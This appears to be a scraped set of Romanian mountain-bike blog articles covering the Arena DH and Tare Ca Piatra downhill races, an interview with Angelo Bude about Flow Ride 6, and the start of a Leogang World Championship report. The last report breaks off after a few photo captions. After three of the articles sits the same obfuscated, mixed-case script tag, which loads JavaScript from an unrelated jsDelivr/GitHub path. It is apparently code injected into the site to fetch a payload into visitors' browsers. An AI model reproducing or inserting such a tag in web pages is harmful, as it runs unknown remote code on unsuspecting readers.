&lt;b&gt;Sezonul bun apune frumos la Arena DH pe 24-25 septembrie&lt;/b&gt;

După o vară bogată în evenimente de gravity riding, în special de downhill, sezonul se apropie de final și bifează oprirea obligatorie la Arena Platoș Păltiniș, muntele de casă al sibienilor. &lt;a href=&quot;https://www.facebook.com/events/447363557346774&quot; target=&quot;\_blank&quot;&gt;Datele sunt 24-25 septembrie, iar formatul este de downhill clasic individual&lt;/a&gt;, contra cronometru. 

[article-image=&quot;3&quot;]

În cazul în care ați deschis mai târziu televizoarele, Arena Platoș Păltiniș este un resort privat, cizelat și cochet, unde gazdele din partea locului încearcă să le oferă musafirilor &lt;a href=&quot;https://arenaplatos.ro/iarna/evenimente/sezon-2021-2022.html&quot; target=&quot;\_blank&quot;&gt;cât mai multe, într-un pachet cât mai armonios&lt;/a&gt;. Celebru pentru evenimentele de iarnă, în special pentru snowpark-ul la un nivel impecabil în fiecare an, Arena Platoș are de câțiva ani buni și un program temeinic pentru mountainbikeri. Nu doar că oamenii au cartografiat zona, pentru cei care vor să facă ture lungi, dar au și construit de la zero niște trasee cât se poate de apreciate, highlight-urile fiind clar Flow Trail-ul plin de contrapante și Downhill Trail-ul bogat în elemente. Este important de știut că traseele de la Arena Platoș Păltiniș sunt trasee-școală, unde mulți au învățat sa se dea, iar cei buni zboară pe ele.

[article-image=&quot;2&quot;]

Downhill Trail-ul este, în mod evident, terenul de joacă pentru acest concurs de downhill tradițional. În pauza din pandemie, acest traseu a mai câștigat niște elemente, față de ultima sa ediție din 2019: mai precis un hip jump pentru cei creativi, care tocmai a fost reîmprospătat, un wallride mare de lemn, o secțiune brand new, cu o contrapantă cu kicker, step-down, val, kicker și step-up, plu un set de contrapante strânse, care șerpuiesc spre sosire și aduc zâmbete pe chipurile celor care se dau. Practic, pentru cine a mai fost la Arena Platoș Păltiniș, întreg treaseul a fost primenit, iar partea de jos este complet nouă.

[article-image=&quot;4&quot;]

Concursul se desfășoară sun rigorile federației de profil, iar organizatorii așteaptă anul acesta în jur de 100 de participanți care se vor duela pentru premii pe multiple categorii, deci faceți bine și înscrieți-vă cât mai puteți! Nu de alta, dar toate concursurile de la Arena Platoș de până acum au fost faine și un prilej excelent pentru comunitate de a se reuni înainte ca sezonul să-și tragă cortina. Link pentru înscrieri aici:

&lt;a href=&quot;https://docs.google.com/forms/d/e/1FAIpQLScdYwe8bDGdyeB2chGZ9GJe\_1f9gmVOGb-hfbcAkclXRWMP3w/viewform&quot; target=&quot;\_blank&quot;&gt;https://docs.google.com/forms/d/e/1FAIpQLScdYwe8bDGdyeB2chGZ9GJe\_1f9gmVOGb-hfbcAkclXRWMP3w/viewform&lt;/a&gt;

Dacă sunteți curioși cum arată traseul, cu toate modificările cele noi, dați o geană peste &lt;a href=&quot;https://www.facebook.com/watch/?v=458592056208795&quot; target=&quot;\_blank&quot;&gt;tura lui Ștefan AICI&lt;/a&gt;. 

În continuare, comunicatul oficial al organizatorilor:

&lt;i&gt;”ARENA DH
24-25 Septembrie 2022
La Arena Platoș Păltiniș

Arena DH este un concurs de mountain-bike downhill individual, organizat de Asociația Arena Lifestyle, cofinanțat de Primăria Sibiu, sub egida Federației Naționale de Ciclism și se adresează atât sportivilor profesioniști, cât și amatorilor. Concursul este la cea de-a cincea sa ediție, iar pe parcursul ultimilor ani a contribuit serios la dezvoltarea acestei discipline în România. Evenimentul se desfășoară pe traseele de biciclete amenajate în complexul Arena Platoș Păltiniș. Ediția din acest an va reuni aproximativ 100 de sportivi, la toate categoriile.

[article-image=&quot;5&quot;]

TRASEU: Traseul Roșu “DH Trail”, pe care se găsesc mai multe drop-uri, un corner-jump, două step down-uri, un step-up, diverse contrapante și kickere și un wall ride proaspăt.

CATEGORII: OPEN, JUNIORI, ELITE, MASTERS, FEMININ, COPII.

&lt;u&gt;REGULI:&lt;/u&gt;

Competiția se desfașoară conform normelor UCI. Concurenții sunt obligati să poarte cască, ochelari de tip ”goggles” și genunchiere.  Numerele de concurs, dopurile sau manșoanele care acoperă extremitațile ghidoanelor sunt și ele obligatorii.
Concurenții trebuie să parcurgă traseul minimum de două ori la antrenamente.

Purtarea numerelor de concurs, atât pe ghidonul bicicletei, cât și pe spatele concurentului, este &lt;b&gt;obligatorie&lt;/b&gt; la antrenamente, calificări și finală.

[article-image=&quot;6&quot;]

Sportivii participanți la clasele JUNIORI, ELITE, MASTERS, FEMININ sunt obligați să fie licentiați la FRC.

Participanții la clasa OPEN sunt nevoiți să facă dovada unei asigurări de accident și a unei vizite medicale (minim la medicul de familie) care să ateste faptul ca sunt apți fizic pentru practicarea sportului.

De asemenea, toti sportivii sunt obligați să parcurgă traseul la picior măcar o dată înainte de a-l coborî pe bicicletă.

[article-image=&quot;7&quot;]

&lt;u&gt;Procedura de concurs:&lt;/u&gt;

Sâmbătă se desfășoară antrenamentele oficiale și manșa de calificări, seeding run. În urma manșei de calificări se afișează lista de start pentru finală.

Duminică se desfășoară antrenamentele oficiale și manșa finală.

Ordinea de start pentru manșa de finală este în ordine inversă față de rezultatele obținute în manșa de calificări, concurentul cu cel mai bun timp are startul ultimul.

Manșa de calificări/seeding-run nu este obligatorie pentru categoriile Elite și Feminin. Pentru aceste categorii, ordinea de start pentru manșa finală este dată de clasamentul de DH UCI.

[article-image=&quot;8&quot;]

PROGRAM

&lt;u&gt;Sâmbătă, 24 septembrie:&lt;/u&gt;
10:00-13:00 - înscrieri și antrenemente
13:30 - ședință tehnică
14:00 - calificări (seeding run)

&lt;u&gt;Duminică, 25 Septembrie:&lt;/u&gt;
10:00 - ședință tehnică
10:15 - 11:45 - antrenamente
12:00 - finală
15:00 - ceremonia de premiere

[article-image=&quot;9&quot;]

Alinierea la start este în ordinea următoare:

Open
Copii
Feminin
Masters
Juniori
Elite

Înscrierile se fac on-line începând cu data de 1 septembrie 2022, iar vârsta minimă de participare este 10 ani.

Nu se percepe taxă de participare.

Cartelele pentru acces cu telescaunul se achiziționează de la casierie.”&lt;/i&gt;

[article-image=&quot;10&quot;]

Ne vedem la Arena Platoș Păltiniș, evident!<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Sezonul bun apune frumos la Arena DH pe 24-25 septembrie

&lt;p&gt;Cum ne-am săturat să-i luăm interviuri Deliei, de parcă ar fi invitată permanent la noi, precum Cristian Tudor Popescu la Digi, am ales anul ăsta altă variantă de informare: e-mail, frumos, citit comunicat, conspectat, iată lucrarea, de notat de către profesorii din public!&lt;/p&gt;

[article-image=&quot;1&quot;]

&lt;p&gt;&lt;b&gt;Ce este de știut despre Tare Ca Piatra 16:&lt;/b&gt;

- Tare Ca Piatra este unul dintre concursurile cu cea mai veche tradiție din România. Are loc în oraș, practic, atrage mult public și tot timpul se încheie cu o petrecere. Traseul este mai scurt și mai accesibil din punct de vedere tehnic, deci aduce la start oameni care nu bat drumul până la alte concursuri. Totuși, traseul poate fi dificil pentru cei care pot merge tare pe el.

- După ani de zile în care toată lumea care se înscria se dădea și în finală, adică &lt;i&gt;seeding run&lt;/i&gt;, anul acesta &lt;u&gt;TCP face în sfârșit calificări de-adevăratelea&lt;/u&gt; și salutăm această măsură! Se vor califica 50\% dintre participanții din fiecare categorie, dar acest procent se poate schimba, în funcție de numărul de oameni înscriși. Capacitatea maximă este de 150 de participanți. Este o măsură foarte importantă și care aduce mai multă siguranță evenimentului, având în vedere că în ultimii ani programul s-a lungit inutil din pricina excesului de participanți în finală. Să nu fie cu supărare: e de apreciat entuziasmul fiecăruia, dar dacă-ți ia 10 minute să cobori traseul de la TCP, locul tău sigur nu este în finală și este bine ca fiecare să-și știe nivelul. Plus că ideea de competiție se diluează prin populisme gen ”se califică toți”. Nope, atunci nici măcar nu mai sunt calificări.

[article-image=&quot;4&quot;]

- Taxa de înscriere este de 250 de lei și include 14 urcări cu gondola, de vineri până duminică, și diverse alte beneficii.

- Traseul a evoluat și în anul acesta un pic. Organizatorii spun că are elemente noi din lemn, e mai lat și mai flowy, nu mai are nici o parte de urcare și a primit secțiuni off-camber proaspete. De asemenea, se pare că este cel mai sigur traseu de la TCP de până acum.

- Categoriile de concurs rămân aceleași: Feminin (open),  Copii (10-14 ani), Juniori (15-18 ani), Elite (19-29 ani), Masters (30+ ani) și Hardtail (open). Riderii de la Masters care simt că au ritmul pentru a se da la Elite au voie să facă acest lucru.&lt;/p&gt;

[article-image=&quot;5&quot;]

&lt;p&gt;Pentru alte detalii, aveți aici comunicatul integral:&lt;/p&gt;

&lt;p&gt;&lt;i&gt;Așadar, în weekend avem Tare ca Piatra, ediția cu numărul 16. 
Cele mai importante aspecte legate de eveniment sunt adresate punctual mai jos:

&lt;u&gt;Programul evenimentului:&lt;/u&gt; 

[article-image=&quot;2&quot;]

Ca și până acum, cu excepția anului trecut, ziua de vineri este dedicată acreditărilor și 
antrenamentelor, sâmbăta e pentru concurs, iar duminica zi liberă la dat.

VINERI
08:00 – 19:00 – Validări înscrieri ✅
10:00 – 11:00 – Trackwalk 1 ????
11:00 – 15:00 – Antrenamente 1
15:00 – 16:00 – Trackwalk 2 ????
16:00 – 19:00 – Antrenamente 2
19:00 – 20:00 – Trackwalk 3 ????
*În timpul sesiunilor de trackwalk, NU este permis accesul cu bicicleta pe traseu. ⛔️

SÂMBĂTĂ
10:00 – 11:30 – Antrenamente oficiale
12:00 – 14:30 – Calificări ????
14:30 – 15:30 – Pauză (traseu închis) ⛔️
15:30 – 17:00 – Finala ????
18:00 – Festivitatea de premiere*
*Programul poate suferi modificări și decalaje datorate evenimentelor neprevăzute și asupra cărora nu avem vreun control.

DUMINICĂ
10:00 - 20:00 - Zi liberă la dat

[article-image=&quot;6&quot;]

&lt;u&gt;Taxa de înscriere și facilități &lt;/u&gt;

Taxa de înscriere în cadrul Tare ca Piatra 16 este 250 LEI și include următoarele:
• 14 ture cu telegondola în intervalul vineri - duminică (10:00 - 20:00)
• hidratare: 4 vitamin aqua + 2 VITANIMIX + 2 ape plate
• kit înscriere: număr competiție, brățară participant, programul evenimentului + materiale promo 
(stickere)
• discount 20 LEI la achiziția tricoului

[article-image=&quot;7&quot;]
[article-image=&quot;8&quot;]

&lt;u&gt;Traseul de concurs &lt;/u&gt;

Traseul de anul acesta vine cu o linie modificată în proporție de 30\%, cu elemente noi din lemn, 
zone lărgite pe alocuri pentru mai mult flow și eliminarea unei porțiuni de urcare. Vor exista și 
câteva zone noi de coborâre în off-camber. De asemenea, s-a lucrat mult pe partea de reabilitare, 
mărire contrapante și cosmetizare și s-a plusat la capitolul safety (un număr de 25 de saltele de 
protecție pe un traseu cu o lungime de aprox. 1.8km).

[article-image=&quot;9&quot;]
[article-image=&quot;10&quot;]

&lt;u&gt;Categoriile de concurs &lt;/u&gt;

Categoriile de participare rămân aceleași 6 ca în ultimii ani și anume:

• COPII (10-14)
• JUNIORI (15-18)
• ELITE (19-29)
• FEMININ 
• MASTERS (+30)
• HARDTAIL (OPEN)

[article-image=&quot;11&quot;]

&lt;u&gt;Ce este diferit? &lt;/u&gt;

• Am modificat și îmbunătățit Regulamentul Oficial, pe care vă îndemnăm să îl mai cititți încă o 
dată înainte de participarea la concurs. Regulamentul poate fi vizualizat pe website-ul nostru.
• Calificările vor trimite în manșa finală doar primii 50\% clasați din fiecare categorie de concurs.
• Numărul maxim de participanți pe care îl putem găzdui este de 150. La momentul de față, am 
ajuns la 148. În funcție de cum se vor confirma sau nu înscrierile, până miercuri vom mai putea 
suplimenta sau nu locurile. Țineți aproape pentru update-uri. 
• Accesul auto în zona de FINISH este interzis atât vineri, cât și sâmbătă, cu câteva excepții care 
vor fi acreditate în acest sens. Vă rugăm să respectați această directivă, întrucât accesul 
Ambulanței trebuie să rămână facil în eventualitatea unor accidente! 

[article-image=&quot;12&quot;]

Mulțumim pe această cale autorităților locale, sponsorilor și partenerilor acestei ediții!

[article-image=&quot;3&quot;]

Un alt set de mulțumiri merge către oamenii de bază ce contribuie la reabilitarea traseului: Sandu, 
Dimi, Petre și întreaga grupă de rideri locali care crește exponențial de la an la an, dar și către 
celelalte grupe de voluntari: monitori de traseu, înscrieri, logistică și hidratare! 

[article-image=&quot;13&quot;]

Toate informațiile de care aveți nevoie sunt disponibile atât pe website-ul nostru 
&lt;a href=&quot;www.tarecapiatra.ro&quot; target=&quot;\_blank&quot;&gt;www.tarecapiatra.ro&lt;/a&gt;, cât și pe pagina oficială de Facebook&lt;a href=&quot; https://www.facebook.com/tarecapiatra.neamt&quot; target=&quot;\_blank&quot;&gt; https://www.facebook.com/tarecapiatra.neamt&lt;/a&gt; și în secțiunea About a evenimentului &lt;a href=&quot;https://www.facebook.com/events/250711786876582?active\_tab=about&quot; target=&quot;\_blank&quot;&gt;https://www.facebook.com/events/250711786876582?active\_tab=about&lt;/a&gt;.

Mulțumim tuturor participanților înscriși! Ne înclinăm. Vă urăm încă de pe acum distracție 
prudentă și să ne vedem cu bine la Piatra-Neamț! :) &lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Melodie, frumos:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/VAWjsVoDpm0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

&lt;p&gt;Ah, pe final o opinie nepopulară: alegerea numerelor de concurs de către rideri este un moft stupid și trebuie să s oprească la un moment dat. Nu, nu e important să ai numărul 12, fiindcă 12 era pe mașinuța preferată la grădiniță. Dacă Greg Minnaar se poate da la Mondiale cu 68, după un sezon anevoios, sigur n-o să-ți cadă nici ție puța, dacă te dai cu ce vine la rând. În afară de asta, numerele îi pot ajuta pe organizatori, care-și fac un mare deserviciu nealocându-le din capul locului. 1 până la 30 pot fi Elite, 30-60 Juniori, 60-80 Masters etc. Poate rumegăm un pic chestia asta! Merci!&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Tare Ca Piatra 16 - Tot ce trebuie să știi despre ediția din 2021

&lt;i&gt;&lt;p&gt;Două concursuri de downhill am avut anul trecut. Două! Two. Deux. Zwei. Due. Dos. Kettő. Putem pune asta în seama pandemiei sau... mai bine lăsaț&#039;! Deci avem un peisaj gravitațional care mai degrabă provoacă suspine. Și totuși în anumite zone din țară, copiii se înghesuie la gondole și la shuttle-uri, iar în culise se șușotește despre inițiative de a face concursuri și câte și mai câte. Să ne temperăm însă entuziasmul, că și drumul spre Nirvana este pavat cu dorințe și cu bune intenții, după cum bine știm.

Una dintre cele mai bune vești de anul acesta a venit de la Bistrița, unde a fost pus înapoi pe roate concursul Flow Ride, &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;care va avea loc în weekend-ul acesta, 28-29 august&lt;/a&gt;. Și nu oricum, ci cu un traseu complet nou în apropiere de oraș, într-un loc antamat inițial pentru iarnă, deci cu telescaun și tot ce trebuie. Despre asta vorbim în cele ce urmează cu Angelo, cel care a făcut legăturile potrivite și a pus osul la treabă, în așa fel încât lucrurile să se poată întâmpla. &lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Angelo Fără De Afro le explică oamenilor mersul la evenimentul de inaugurare. - foto: Alexandru Kabos&quot;]

&lt;p&gt;Dar nu trecem la treabă fără a ne aduce aminte că Bistrița a contat pe harta gravitațională a patriei în ultimii 10+ ani și că lucrurile ăstea nu merită uitate. Mai întâi cu brigada Bistritz a lui Miki și John, care n-a lipsit la vreo cursă de DH sau enduro de mult timp încoace, apoi cu gașca vecină Bistrița DH a lui Doctoru&#039; și Angelo, care ne-a adus Flow Ride-urile cele faine, pe dealurile de lângă oraș, unde destul de sigur câțiva rideri de pe la noi au învățat să sară sau să sară mai bine. Ca fapt divers, Doctoru&#039; a avut o prestație absolut onorabilă în etapa de Cupă Mondială de la La Bresse din 2009 și nu este pe degeaba o legendă a scenei locale. Revenim la oamenii de la Bistritz, care nu numai că au organizat enduro pe traseele din jurul orașului, dar au revitalizat și cursa de la Vatra Dornei, care a apucat în sfârșit să vadă o organizare serioasă sub bagheta lor și, în caz că nu știați, au ținut în picioare aproape singuri un sezon competițional 2018, la downhill, enduro și trial, pe partea logistică. Și apoi sunt tinereii. Tinerei din Bistrița care tot apar, se dau bine și au atitudinea potrivită, ceea ce nu este puțin lucru și nu este deloc întâmplător. Acestea sunt câteva linii mari despre scena din Bistrița, cu pălăria ridicată obligatoriu.&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;Cu mic, cu mare la start. - foto: Alexandru Kabos&quot;]

&lt;p&gt;Acum despre cel mai fresh Flow Ride:&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;DirtBike: Salut Angelo! Ce ai mai făcut în cei cinci ani care au trecut de la ultimul Flow Ride?&lt;/b&gt;

Angelo Bude: Salut! Am rămas aproape de scena de gravity, antrenând mai multi tineri de la noi din zonă, și am voluntariat și la FRC în ultimii 3 ani. Pe de altă parte, am încercat să ajung la cât mai multe concursuri de downhill din țară, dar, din păcate, numărul lor a scăzut în ultimii ani. Am și studiat un pic de educatie fizica și sport și mi-am finalizat anul acesta masterul la UBB Cluj Napoca.&lt;/b&gt;

&lt;p&gt;&lt;b&gt;DB: Bun așa! Hai să vorbim despre traseul complet nou! Ce caracteristici are și cum ați ajuns să-l faceți acolo?&lt;/b&gt;

A. B.: Da, avem un traseu nou conceput și proaspăt săpat în ultimele 4 luni la pârtia Cocoș, în apropiere de Bistrița. Are o lungime de 1750 m, cu o diferență de nivel de 260 m. Nu este un traseu ușor, are mult off camber și o primă porțiune care este destul de abruptă. Sunt și porțiuni de jump-uri și turnante (N. R.: contrapante), în care poti duce viteză. Am încercat, pe cât posibil, să îl lăsăm cât mai natural în multe zone.&lt;/p&gt;

[article-image=&quot;3&quot; description=&quot;Pentru EI este totul, pe bune. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Sună excelent! Cine v-a ajutat cu demersul ăsta și cine a muncit la traseu? Ați primit vreun sprijin de la vreun for oficial pentru evenimentul acesta? Bani, logistică?&lt;/b&gt;

A. B.: Inițiativa a fost a asociației Rodo Transilvania, iar sprijinul a venit din partea primăriei Bistrița, care a bugetat 2 trasee, unul cel de concurs și încă unul de flow, cu o lungime de 2800 m. Scopul lor este de a profita de investiția făcută la pârtia Cocoș și pe timp de vară. Pot să îi mulțumesc doamnei Adriana Antoneacă, ea ne-a susținut și a demarat acest proiect în primărie și crede în potențialul bike park-ului. Chiar s-a implicat super mult!

După aceea, am avut un excavatorist super bun, Marius Ros, care a rezolvat multe elemente deja din cupa utilajului, astfel încat noi nu am mai avut foarte mult de finisat. Ca oameni, cel mult sau implicat Lupu și Beavis, fără ei cred că încă eram pe deal și dădeam la sapă! (râde) Au mai lucrat și juniorii din Bistrița, Bebo, Ursu, Florin și Edy, dar sincer, mă așteptam la mai multă implicare din partea lor. Și au mai fost 2-3 care au pus mana, Noni și Linu, de exemplu, și clar angajații de la pârtia Cocoș.

Pentru event am prins o finantare nerambursabilă de la Primăria Bistrița și niste sponsori din domeniul privat, pe care îi anuțăm &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;pe event-ul de pe Facebook&lt;/a&gt;.&lt;/p&gt;

[article-image=&quot;4&quot; description=&quot;”Telescaun la Bistrița” sună parcă dintr-un vis... - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Știu că ai fost foarte proactiv în a încerca să găsești o armonie cu alți organizatori pentru a stabili perioada evenimentului. Ce poți să-mi spui despre asta?&lt;/b&gt;

A. B.: Din păcate, anul acesta nu am reușit să ne organizam și să prindem toate concursurile într-o cupă, cu toate că au fost discuții în sensul acesta. Este și un an ciudat, ținând cont că suntem într-o pandemie, care ne îngreunează un pic munca.&lt;/p&gt;

[article-image=&quot;5&quot; description=&quot;Mihai Anițan, Matei Moisil și Cipri Mureșan se istovesc împingând până la scaun. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: De ce crezi că se bulucește lumea să facă evenimente doar în lunile august și septembrie, când e tot anul liber?&lt;/b&gt;

A. B.: Nu prea pot să îmi dau seama; noi am făcut anul acesta concursul în august, fiindca nu aveam traseul gata mai devreme și pentru că solul este de așa natură, încât dacă plouă, devine foarte alunecos. Acesta este motivul pentru care nu îl facem mai târziu în toamnă.&lt;/p&gt;

[article-image=&quot;6&quot; description=&quot;Curbele arată bine, băieții și mai bine. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Pe cât de proactiv ai fost tu privind data, tot s-au găsit niște oameni de la Buscat să facă eveniment de enduro concomitent cu voi. Ce sentiment îți trezește lucrul ăsta? Crezi că riderii se vor împărți în două?&lt;/b&gt;

A. B.: Se mai întâmplă să se și intercaleze niște evenimente, dar este păcat. La cât de puține evenimente de genul acesta avem în România, ar fi frumos să avem un calendar bine stabilit.&lt;/p&gt;

[article-image=&quot;7&quot; description=&quot;Marv e fericit! - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Crezi că o să mai avem Cupă Națională în viitorul apropiat?&lt;/b&gt;

A. B.: Eu înca mai am speranța că o să ajungem și la acel nivel!&lt;/p&gt;

[article-image=&quot;8&quot; description=&quot;&lt;i&gt;Anițan be stylin&#039; it.&lt;/i&gt; - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Să trecem la aspectele practice! De ce are nevoie cineva care vrea să se înscrie la Flow Ride?&lt;/b&gt;

A. B.: Pentru Flow Ride este nevoie de o asigurare în caz de accidente, de taxa de 150 de lei, de o bicicletă și cel puțin de o cască full-face, dar recomandăm și restul de echipament de protecție: mănuși, goggles, genunchiere, cotiere, protecție dorsală etc. &lt;/p&gt;

[article-image=&quot;9&quot; description=&quot;&lt;i&gt;Dimi is back!&lt;/i&gt; - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Ponturi de cazare și masă în Bistrița și prin împrejurimi? Recomanzi să stea lumea în oraș sau mai aproape de traseu?&lt;/b&gt;&lt;

A. B.: Sunt numai 5 km de la traseu până în oraș, deci nu cred că o să fie o diferență, dacă stai undeva lânga traseu sau în oras. Cele mai multe unități de cazare sunt în oraș, dar din cauza timpului scurt de organizare a evenimentului, nu am apucat să ne concentrăm și pe cazare, așa că fiecare își va alege cazare cum poate și cum dorește. Se poate campa jos în parcarea de la traseu și o să facem after petrechere tot acolo.&lt;/p&gt;

[article-image=&quot;10&quot; description=&quot;Două generații, două tehnici. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;Am ratat ceva? Mai e ceva de spus? Dacă da, ce? &lt;/b&gt;

A. B.: Încercăm să postăm &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;pe evenimentul de Facebook&lt;/a&gt; cât mai multe informații utile pentru participanți în zilele ce urmează.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Mulțumim!&lt;/b&gt;&lt;/p&gt;

[article-image=&quot;11&quot; description=&quot;E bine! - foto: Alexandru Kabos&quot;]

&lt;p&gt;Detalii despre concurs, conform informațiilor oficiale:

------ ------ ------ ------ ------ ------

&lt;u&gt;Programul evenimentului:&lt;/u&gt;
Joi, 26.08: 18:00 - 20:00 - Track Walk
Vineri, 27.08: 10:00 - 18:00 - Antrenamente
Sâmbătă, 28.09: - Seeding run + Finală + Ceremonie Premiere + After Party

------ ------ ------ ------ ------ ------

&lt;u&gt;Regulament de participare:&lt;/u&gt;
✅ Asigurare de accident pentru sportivi obligatorie. Sportivi sunt obligați să prezinte dovada asigurării de accident pentru sportivi la fața locului.
✅ Participarea la Flow Ride 6 se poate face doar dacă se respectă regulile în vigoare de protecție împotriva Covid-19.
Participarea este permisă doar pentru:
✅ Persoanele care sunt vaccinate împotriva virusului SARS-CoV-2 și pentru care au trecut 10 zile de la finalizarea schemei complete de vaccinare.
✅ Persoanele care prezintă rezultatul negativ al unui test RT-PCR pentru infecția cu virusul SARS-CoV-2 nu mai vechi de 72 de ore sau rezultatul negativ certificat al unui test antigen rapid pentru infecția cu virusul SARS-CoV-2 nu mai vechi de 24 de ore.
✅ Persoanele care se află în perioada cuprinsă între a 15-a zi și a 180-a zi ulterioară confirmării infectării cu virusul SARS-CoV-2, în condițiile stabilite prin ordinul comun al ministrului tineretului și sportului și al ministrului sănătății, emis în temeiul art. 43 și al art. 71 alin. (2) din Legea nr. 55/2020, cu modificările și completările ulterioare.
✅ Persoanele care aleg varianta prezentării unui test rapid trebuie să aducă cu ei un test antigen nefolosit. Testarea se va face vineri, înainte de eveniment, de către personalul medical al Ambulanței Bistrița-Năsăud.

------ ------ ------ ------ ------ ------

&lt;u&gt;Echipamentul de protecție:&lt;/u&gt;
✅ Sportivul este obligat să poarte pe timpul competiției cască full-face.
✅ Recomandăm echipamentul de protecție pentru coloană, mănuși, ochelari, cotiere, genunchiere, neck-brace.

------ ------ ------ ------ ------ ------

&lt;u&gt;Înscrieri la Flow Ride 6:&lt;/u&gt;
Înscrie-te aici! &lt;a href=&quot;https://bit.ly/3D2Enqv&quot; target=&quot;\_blank&quot;&gt;https://bit.ly/3D2Enqv&lt;/a&gt;
Taxa participare: 150 RON - Plata la fața locului

------ ------ ------ ------ ------ ------

Toate fotografiile frumoase sunt făcute de Alexandru Kabos la evenimentul de inaugurare și toate drepturile sunt rezervate. Vi le arătăm în continuare și pe celelalte. Enjoy:&lt;/p&gt;

[article-image=&quot;13&quot; description=&quot;Soldații imperiali contraatacă! - foto: Alexandru Kabos&quot;]
[article-image=&quot;14&quot; description=&quot;Și, cum zici că era dropu&#039; din Leogang, boss? - foto: Alexandru Kabos&quot;]
[article-image=&quot;15&quot; description=&quot;Cam așeeeaaa! - foto: Alexandru Kabos&quot;]
[article-image=&quot;16&quot; description=&quot;În lumina impecabilă. - foto: Alexandru Kabos&quot;]
[article-image=&quot;17&quot; description=&quot;O tură prin natură. - foto: Alexandru Kabos&quot;]
[article-image=&quot;18&quot; description=&quot;Uberstyler Dimi se simte bini. - foto: Alexandru Kabos&quot;]
[article-image=&quot;19&quot; description=&quot;Linii moroșenești și muolduoviniești prin tufele de jos. - foto: Alexandru Kabos&quot;]
[article-image=&quot;20&quot; description=&quot;Angelo făcând ce știe mai bine: învățându-i pe cei mici și ținând prelegeri celor mai mari. - foto: Alexandru Kabos&quot;]
[article-image=&quot;21&quot; description=&quot;Prin livezile de lângă Bistrița. - foto: Alexandru Kabos&quot;]
[article-image=&quot;22&quot; description=&quot;Nutrii? Nu bă, numa&#039; doo! - foto: Alexandru Kabos&quot;]
[article-image=&quot;27&quot; description=&quot;&lt;i&gt;Matei Moisil avec le style.&lt;/i&gt; - foto: Alexandru Kabos&quot;]
[article-image=&quot;23&quot; description=&quot;Mihai Anițan cu celălalt stil, la fel de bun. - foto: Alexandru Kabos&quot;]
[article-image=&quot;24&quot; description=&quot;Cipri Mureșan vrea s-o rezolve moto! - foto: Alexandru Kabos&quot;]
[article-image=&quot;25&quot; description=&quot;Niște scrub cu Mihai. - foto: Alexandru Kabos&quot;]
[article-image=&quot;26&quot; description=&quot;Frige, las-o jos! - foto: Alexandru Kabos&quot;]

&lt;p&gt;Melodie, frumos:&lt;/p&gt;

&lt;p&gt;&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/r\_0sL\_SQYvw&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;Ne vedem la Bistrița!&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Flow Ride 6 - interviu cu Angelo Bude despre curse de DH, trasee noi și nu numai

&lt;p&gt;Cu prognoza apocaliptică plutind în aer, lumea prezentă la Campionatul Mondial de la Leogang a tratat ziua de antrenamente de sâmbătă în feluri foarte diferite. Unii s-au hărnicit să ia traseul cu asalt cât mai devreme și să încerce să mai rumege din el cât se poate, alții și-au zis ”Men, oricum n-are nici o legătură cu prognoza de duminică, de ce să-mi mai bat capul?”, au băgat o oră de somn în plus și și-au văzut de altele. Noi am fost dintre primii, că n-am venit aici pentru &lt;i&gt;maxin&#039; &#039;n relaxin&#039;&lt;/i&gt;.&lt;/p&gt;

&lt;p&gt;Din păcate, o mini-apocalipsă a lovit la noi încă de dimineață, cu Luana scrântindu-și glenza dreaptă. Nimic grav, tot zâmbitoare e, dar noi n-avem Țestoasă în finală și e tristețe mare pe partea asta. Nu mă mai lungesc cu vorba, c-avem o finală de prins și nu e timp. De la noi, Paul Someșan intră primul, la 10:21, ora locală, Akos Istvandi e la 14:10, Remus la 14.30. Pentru ora României, mai adăugați o oră. 

&lt;p&gt;Breaking news este că și Vali Höll s-a accidentat la gleznă la antrenamentele de dimineață  și se pare că e out, pfff... Nu tocmai &lt;i&gt;breaking news&lt;/i&gt; e că plouă mocănește. Poze:&lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Cumva bizar, Charlie Hatton este singurul care ține sus steagul Athertonilor la Mondialele acestea, cu Gee scos din schemă și Rachel nevindecată de la accidentarea la tendonul lui Ahile. Charlie nu este însă degeaba în echipa asta de elită și nici în lotul britanic. 48 în calificări, dar fiți cu ochii pe el! - foto: Mx&quot;]

[article-image=&quot;2&quot; description=&quot;Nici un set de poze fără Roger Vieira din Brazilia! - foto: Mx&quot;]

[article-image=&quot;3&quot; description=&quot;Slovacii plănuiesc, iar colegul lor, Dennis Kohut, execută! - foto: Mx&quot;]

